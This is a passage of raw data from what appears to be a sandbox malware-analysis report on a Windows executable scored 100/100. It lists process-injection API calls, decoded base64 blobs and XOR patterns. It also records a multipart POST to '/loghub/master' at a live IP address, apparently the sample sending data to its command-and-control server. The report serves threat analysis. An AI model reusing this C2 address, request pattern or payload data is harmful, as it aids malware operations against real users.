26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 89:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T483,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Malware Sample 7224a67c838c… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 7224a67c838c…. Malware family: Malware. Threat score 100/100. 5/28 AV engines flagged this file. 19 malicious and 29 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/7224a67c838c764592d15509ffcb4788625701cc1e47b38d6a587aa4487d9461","keywords":["Malicious","Malware","malware analysis","sandbox report","threat intelligence","7224a67c838c764592d15509ffcb4788625701cc1e47b38d6a587aa4487d9461"],"about":{"@type":"SoftwareApplication","name":"0c12cd0538bea9f88b40d52cf438f139.exe","applicationCategory":["peexe","executable"],"identifier":"7224a67c838c764592d15509ffcb4788625701cc1e47b38d6a587aa4487d9461","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Malware","antivirusDetections":{"malicious":5,"total":28},"behavioralIndicators":{"malicious":19,"suspicious":29},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T4d1,"0c12cd0538bea9f88b40d52cf438f139.exe" called "FindResourceA" with parameter "8655692" - (UID: 00000000-00004000) "0c12cd0538bea9f88b40d52cf438f139.exe" called "FindResourceA" with parameter "2160172" - (UID: 00000000-00004000) "0c12cd0538bea9f88b40d52cf438f139.exe" called "FindResourceA" with parameter "8655560" - (UID: 00000000-00004000) "0c12cd0538bea9f88b40d52cf438f139.exe" called "FindResourceA" with parameter "8655568" - (UID: 00000000-00004000) "0c12cd0538bea9f88b40d52cf438f139.exe" called "FindResourceA" with parameter "8655596" - (UID: 00000000-00004000) "0c12cd0538bea9f88b40d52cf438f139.exe" called "FindResourceA" with parameter "8655608" - (UID: 00000000-00004000) "bJ1qg86.exe" called "FindResourceA" with parameter "2423272" - (UID: 00000000-00003808) "bJ1qg86.exe" called "FindResourceA" with parameter "13963976" - (UID: 00000000-00003808) "bJ1qg86.exe" called "FindResourceA" with parameter "13963984" - (UID: 00000000-00003808) "bJ1qg86.exe" called "FindResourceA" with parameter "13964012" - (UID: 00000000-00003808) "bJ1qg86.exe" called "FindResourceA" with parameter "13964024" - (UID: 00000000-00003808) "Ac8sp85.exe" called "FindResourceA" with parameter "20255564" - (UID: 00000000-00004008)28:Ta48,"0c12cd0538bea9f88b40d52cf438f139.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '8701920'}" (UID: 00000000-00004000) "0c12cd0538bea9f88b40d52cf438f139.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '8702032'}" (UID: 00000000-00004000) "0c12cd0538bea9f88b40d52cf438f139.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '8702064'}" (UID: 00000000-00004000) "0c12cd0538bea9f88b40d52cf438f139.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '8702048'}" (UID: 00000000-00004000) "0c12cd0538bea9f88b40d52cf438f139.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '8702016'}" (UID: 00000000-00004000) "bJ1qg86.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '14010448'}" (UID: 00000000-00003808) "bJ1qg86.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '14010480'}" (UID: 00000000-00003808) "bJ1qg86.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '14010464'}" (UID: 00000000-00003808) "bJ1qg86.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '14010432'}" (UID: 00000000-00003808) "Ac8sp85.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '20301792'}" (UID: 00000000-00004008) "Ac8sp85.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '20301904'}" (UID: 00000000-00004008) "Ac8sp85.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '20301936'}" (UID: 00000000-00004008) "Ac8sp85.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '20301920'}" (UID: 00000000-00004008) "Ac8sp85.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '20301888'}" (UID: 00000000-00004008) "Ac8sp85.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '20301840'}" (UID: 00000000-00004008) "10IO12so.exe" called "LoadResource with parameter {'hModule': '1572864', 'hResInfo': '2442536'}" (UID: 00000000-00003332) "10IO12so.exe" called "LoadResource with parameter {'hModule': '1572864', 'hResInfo': '2442552'}" (UID: 00000000-00003332) "10IO12so.exe" called "LoadResource with parameter {'hModule': '1572864', 'hResInfo': '2442376'}" (UID: 00000000-00003332) "10IO12so.exe" called "LoadResource with parameter {'hModule': '1572864', 'hResInfo': '2442584'}" (UID: 00000000-00003332) "10IO12so.exe" called "LoadResource with parameter {'hModule': '1572864', 'hResInfo': '2442232'}" (UID: 00000000-00003332) "10IO12so.exe" called "LoadResource with parameter {'hModule': '1572864', 'hResInfo': '2442568'}" (UID: 00000000-00003332)29:T53c,Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "0c12cd0538bea9f88b40d52cf438f139.exe") Found reference to API "MsgWaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; File: "0c12cd0538bea9f88b40d52cf438f139.exe") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; Source: "00000000-00000452.00000000.68550.00F20000.00000002.mdmp") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00000452.00000000.68560.00F28000.00000004.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; Source: "00000000-00002296.00000000.69086.01250000.00000002.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; Source: "00000000-00002500.00000000.71152.01020000.00000002.mdmp, 00000000-00002500.00000001.72275.01020000.00000002.mdmp") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp") Found reference to API "SetTimer" (Indicator: "SetTimer"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp")2a:T737,Found reference to API "CreateThread" (Indicator: "CreateThread"; File: "0c12cd0538bea9f88b40d52cf438f139.exe") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00000452.00000000.68550.00F20000.00000002.mdmp, 00000000-00000452.00000000.68560.00F28000.00000004.mdmp") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; Source: "00000000-00000452.00000000.68560.00F28000.00000004.mdmp") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; Source: "00000000-00000452.00000000.68560.00F28000.00000004.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00002296.00000000.69086.01250000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00002500.00000000.71152.01020000.00000002.mdmp, 00000000-00002500.00000001.72275.01020000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp") Found reference to API "VirtualFreeEx" (Indicator: "VirtualFree"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAlloc"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAllocEx"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp") Found reference to API "WriteProcessMemory" (Indicator: "WriteProcessMemory"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp")2b:Tb62,Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; File: "0c12cd0538bea9f88b40d52cf438f139.exe") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; File: "0c12cd0538bea9f88b40d52cf438f139.exe") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; File: "0c12cd0538bea9f88b40d52cf438f139.exe") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00000452.00000000.68550.00F20000.00000002.mdmp, 00000000-00000452.00000000.68560.00F28000.00000004.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00000452.00000000.68550.00F20000.00000002.mdmp, 00000000-00000452.00000000.68560.00F28000.00000004.mdmp") Found reference to API "FreeLibraryAndExitThread" (Indicator: "FreeLibrary"; Source: "00000000-00000452.00000000.68550.00F20000.00000002.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00002296.00000000.69086.01250000.00000002.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00002296.00000000.69086.01250000.00000002.mdmp") Found reference to API "FreeLibraryAndExitThread" (Indicator: "FreeLibrary"; Source: "00000000-00002296.00000000.69086.01250000.00000002.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00002500.00000000.71152.01020000.00000002.mdmp, 00000000-00002500.00000001.72275.01020000.00000002.mdmp, 00000000-00002500.00000001.72275.01028000.00000004.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00002500.00000000.71152.01020000.00000002.mdmp, 00000000-00002500.00000001.72275.01020000.00000002.mdmp, 00000000-00002500.00000001.72275.01028000.00000004.mdmp") Found reference to API "FreeLibraryAndExitThread" (Indicator: "FreeLibrary"; Source: "00000000-00002500.00000000.71152.01020000.00000002.mdmp, 00000000-00002500.00000001.72275.01020000.00000002.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00002500.00000001.72275.01028000.00000004.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00002500.00000001.72275.01028000.00000004.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp") Found reference to API "FreeLibraryAndExitThread" (Indicator: "FreeLibrary"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp")2c:T6ca,Found reference to "MSCF2Wqh disallowedcert.stl|f~3"{-UAV>F :n;lpd`() hvnf|T#&6%&WSHS9*}9yZ@F+/vU|Usr #k#NK-c0ROmX6VG55:x"3`CM:k^nLuSvMxfx4qM?{i%CVl\tP-`}v?@s)?hRQ>jB@H4-" (Indicator: "Oid"; File: "57C8EDB95DF3F0AD4EE2DC2B8CFD4157") file/memory contains long string with (Indicator: "Aes"; File: "SSL") Found reference to "AesGcm256" (Indicator: "Aes"; File: "00003964.00000F7C.12682817.00402000.wprm") Found reference to "AesGcm256" (Indicator: "AesGcm"; File: "00003964.00000F7C.12682817.00402000.wprm") Found reference to "AesFastEngine" (Indicator: "Aes"; File: "00003964.00000F7C.12682817.00402000.wprm") Found reference to "HashAlgorithm" (Indicator: "HashAlgorithm"; File: "00003964.00000F7C.12682817.00402000.wprm") Found reference to "MD5CryptoServiceProvider" (Indicator: "MD5CryptoServiceProvider"; File: "00003964.00000F7C.12682817.00402000.wprm") Found reference to "AesGcm256" (Indicator: "Aes"; Source: "00000000-00002296.00000001.70024.01258000.00000004.mdmp") Found reference to "AesGcm256" (Indicator: "AesGcm"; Source: "00000000-00002296.00000001.70024.01258000.00000004.mdmp") Found reference to "AesFastEngine" (Indicator: "Aes"; Source: "00000000-00002296.00000001.70024.01258000.00000004.mdmp") Found reference to "HashAlgorithm" (Indicator: "HashAlgorithm"; Source: "00000000-00002296.00000001.70024.01258000.00000004.mdmp") Found reference to "MD5CryptoServiceProvider" (Indicator: "MD5CryptoServiceProvider"; Source: "00000000-00002296.00000001.70024.01258000.00000004.mdmp") file/memory contains long string with (Indicator: "Oid"; Source: "00000000-00003332.00000001.68213.02B80000.00000002.mdmp")2d:Td30,"AppLaunch.exe" called "CryptStringToBinaryA" with parameters {"pszString": "shUfxBHlEuCTp4WSEdWGy0jNFMk1r4o5piEpxTmTeDjZfHOoY4B2jOCJ9eU=" "cchString": "60" "dwFlags": "1" "pcbBinary": "2c000000"} "AppLaunch.exe" called "CryptStringToBinaryA" with parameters {"pszString": "shUfxBHlEuCTp4WSEdWGy0jNFMk1r4o5piEpxTmTeDjZfHOoY4B2jOCJ9eU=" "cchString": "60" "dwFlags": "1" "pbBinary": "b2151fc411e512e093a7859211d586cb48cd14c935af8a39a62129c539937838d97c73a86380768ce089f5e5" "pcbBinary": "2c000000"} "AppLaunch.exe" called "CryptStringToBinaryA" with parameters {"pszString": "yZmztksoDpnDNT8fp0D6Vsaixc/FSl+TdmXuHvnemRaylLmWawguu7UXBT+TbPdc5oLl7+c5OrFMRZpsjLu1G8O5k5ZrCm/94Q8fecYsiTPqr8/v5Wp/sRMdzCTZhZQc6bmTlmsIdZTJFR8/h2DaduaAoKHncH+xEw+Mf5W8+H2m6d/VI0Rp8aZWW37LLZ8zo8OvoawnN/5USeMU2f65Num5k5ZpTXS7+RUdUsI0mxun0a7tyEB/s1ZFzj6E8pQc6bmT" "cchString": "16956" "dwFlags": "1" "pcbBinary": "ab310000"} "AppLaunch.exe" called "CryptStringToBinaryA" with parameters {"pszString": "yZmztksoDpnDNT8fp0D6Vsaixc/FSl+TdmXuHvnemRaylLmWawguu7UXBT+TbPdc5oLl7+c5OrFMRZpsjLu1G8O5k5ZrCm/94Q8fecYsiTPqr8/v5Wp/sRMdzCTZhZQc6bmTlmsIdZTJFR8/h2DaduaAoKHncH+xEw+Mf5W8+H2m6d/VI0Rp8aZWW37LLZ8zo8OvoawnN/5USeMU2f65Num5k5ZpTXS7+RUdUsI0mxun0a7tyEB/s1ZFzj6E8pQc6bmT" "cchString": "16956" "dwFlags": "1" "pbBinary": "c999b3b64b280e99c3353f1fa740fa56c6a2c5cfc54a5f937665ee1ef9de9916b294b9966b082ebbb517053f936cf75ce682e5efe7393ab14c459a6c8cbbb51bc3b993966b0a6ffde10f1f79c62c8933eaafcfefe56a7fb1131dcc24d985941ce9b993966b087594c9151f3f8760da76e680a0a1e7707fb1130f8c7f95bcf87da6e9dfd5234469f1a6565b7ecb2d9f33a3c3afa1ac2737fe5449e314d9feb936e9b99396694d74bbf9151d52c2349b1ba7d1aeedc8407fb35645ce3e84f2941ce9b993966b087594c9151f3f8760da76e680a0a1e7707fb1180e8c7791b8fb73a6fed2d32a476bf1af505971cc2f9e34a3c4a2bfa22131fd5449e314d9feb936e9b99396694d74bbf9151d52c2349b1ba7d1aeedc8407fb35645ce3e84f2941ce9b993966b087594c9151f3f8760da76e680a0a1e7707fb1130284779db4fb66aef5dad5234c6df6ad515d7cc5249434a3c7b5bfa22e2ffb5449e314d9feb936e9b99396694d74bbf9151d4bd5358922e6f5a4a3a92f2bb17b6fce3ed9feb936b4b5bebc6b082eb9e3154412ad60da76e682e5efe5683afd545fce3c90bcf773a3fdd5dc264565e9a05b536fc222913aabccaea0a02536fb19038b7ddbf2941ce9b993966b082eb9e150453d9d60d802b4cdab83ac2434b17b6fce3ed9feb936b4b5bebc6b082eb9e3154412ad60da76e682e5efe5683afd545fce3c9fb0f37ea4f2dbde26436cf3a85e5e7dc9249938a8cda2aea22538f118008b7ddbf2941ce9b993966b082eb9e150453d9d60d804a9ccaca1e51d3eff1a009a3cf4d4b936e9b9939636040393e3151f3f8760815bcc82e5efe56a7fb356478b70dbe4b934aff1d1d9234163f8a6595d70cf309034a4cea1acab2d3cfd1715807a96baf366ebb5bebc6b082eb9e3151f3f85258074fc82e78dac243efd1500ce5d91bff078e9ced2da274d7abbce3f1f3f8760da76bb8ec8c5e56a7fb356459513f3feb936e9b993966b0a6bf7e10f1f3dc1269434a3cea3abaa2f36fc1e00807593b7fb78a4f8d7dc224d66f3ab54557d856cf75ce682e5efe56a7fb35400943cc3febb4fa6ebdcdf692504b9e3151f3f873dd65bcc82e5efe56a7fe87b6fce3ed9feb936e9b991d3250a34b9e15f5d7bc62f9938a3cbaca6ab2735f11c09897f95b6fa73a5fed1d3214560f0a7171312ad60da76e682e5efe5683ae9545fce3cb7b7ff62b0bbbebc6b082eb9e3154233aa4ada76e682e5efbe4755b35645ce3ed9feb934acf7918c6b0a6fffa1565d75d7228a30a7c6a9a4a82232f01a0d857b9cb1fd7ba8f4d0d0274b2cb5ce3f1f3f8760da76e682e7aabf6865b354288f6a91fc941ce9b993966b0873b5ce3f1f3f8760da76bdafcfefe56a7fb35645ce3c9cb0bb2ce9bbdbd82d4960f2ad5a5c79c22f9c34a2c6a2acac2031fe1e0b887092baf777" "pcbBinary": "ab310000"}2e:T147e,Assembly shows XOR instruction xor eax esp in Stream UID: 00000000-00004000-38764-36-00843BA2 Assembly shows XOR instruction xor ecx esp in Stream UID: 00000000-00004000-38764-36-00843BA2 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004000-38764-59-0084621E Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004000-38764-59-0084621E Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004000-38764-72-008418A3 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004000-38764-72-008418A3 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004000-38764-33-00842F1D Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004000-38764-33-00842F1D Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004000-38764-73-008417EE Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004000-38764-73-008417EE Assembly shows XOR instruction xor eax dword ptr [ebp-0Ch] in Stream UID: 00000000-00004000-38764-83-00847155 Assembly shows XOR instruction xor dword ptr [ebp-04h] eax in Stream UID: 00000000-00004000-38764-83-00847155 Assembly shows XOR instruction xor eax dword ptr [ebp-04h] in Stream UID: 00000000-00004000-38764-83-00847155 Assembly shows XOR instruction xor eax ecx in Stream UID: 00000000-00004000-38764-83-00847155 Assembly shows XOR instruction xor eax dword ptr [ebp-14h] in Stream UID: 00000000-00004000-38764-83-00847155 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004000-38764-40-00842267 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004000-38764-40-00842267 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004000-38764-22-0084681F Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004000-38764-22-0084681F Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004000-38764-63-00845467 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004000-38764-63-00845467 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004000-38764-41-00846495 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004000-38764-41-00846495 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004000-38764-57-00846298 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004000-38764-57-00846298 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004000-38764-74-008436EE Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004000-38764-74-008436EE Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004000-38764-78-00845C9E Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004000-38764-78-00845C9E Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004000-38764-65-008453A1 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004000-38764-65-008453A1 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004000-38764-52-00844EFD Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004000-38764-52-00844EFD Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004000-38764-29-008452B6 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004000-38764-29-008452B6 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004000-38764-42-0084202A Assembly shows XOR instruction xor eax 01h in Stream UID: 00000000-00004000-38764-42-0084202A Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004000-38764-42-0084202A Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004000-38764-44-00842AAC Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004000-38764-44-00842AAC Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004000-38764-77-00842773 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004000-38764-77-00842773 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004000-38764-43-00841AE8 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004000-38764-43-00841AE8 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004000-38764-62-008455A0 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004000-38764-62-008455A0 Assembly shows XOR instruction xor eax esp in Stream UID: 00000000-00004000-38764-31-00842390 Assembly shows XOR instruction xor ecx esp in Stream UID: 00000000-00004000-38764-31-00842390 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004000-38764-60-0084597D Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004000-38764-60-0084597D Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004000-38764-26-008424E0 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004000-38764-26-008424E0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004000-38764-66-00842630 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004000-38764-66-008426302f:T7b21,Contains base64 string in header "POST" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=13OsRD1s3OIdItVRc5gsContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.43Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=13OsRD1s3OIdItVRc5gsContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.43Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Type" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=13OsRD1s3OIdItVRc5gsContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.43Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "data" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=13OsRD1s3OIdItVRc5gsContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.43Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "MSIE" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=13OsRD1s3OIdItVRc5gsContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.43Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "InfoPath" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=13OsRD1s3OIdItVRc5gsContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.43Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Host" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=13OsRD1s3OIdItVRc5gsContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.43Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "43Connection" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=13OsRD1s3OIdItVRc5gsContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.43Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Keep" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=13OsRD1s3OIdItVRc5gsContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.43Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP" in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "2FUsCEHe9DWzbNvka6iEPxPBY0w0" in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "Keep" in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "User" in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "ocsp" in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "goog" in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "Keep" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "User" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "ocsp" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "digicert" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1Connection: 